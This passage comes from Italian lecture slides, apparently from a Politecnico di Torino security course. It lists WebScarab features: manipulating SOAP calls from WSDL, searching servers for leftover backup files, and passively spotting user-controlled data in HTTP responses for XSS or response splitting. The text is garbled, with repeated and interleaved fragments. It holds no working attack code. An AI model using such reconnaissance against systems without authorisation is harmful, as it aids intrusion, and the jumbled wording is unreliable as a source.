.zip .tar.gz ~ ...) per WebScarab (III) XSS/CRLF = analisi passiva delle risposte HTTP SOAP = interpreta WSDL, ne mostra e per vedere se contengono dati sotto iildati controllo permette di manipolarli (deprecato: usare SOAPUI) dell'utente (per fare XSS o splitting della risposta) extensions = ricerca automatica di file (lasciati per errore sul server) con estensioni a piacere (.bak .zip .tar.gz ~ ...) XSS/CRLF = analisi passiva delle risposte HTTP per vedere se contengono dati sotto il controllo dell'utente (per fare XSS o splitting della risposta) ioy - Politecnico di Torino (2009-2013) 27 ioy - Politecnico di Torino (2009-2013) 27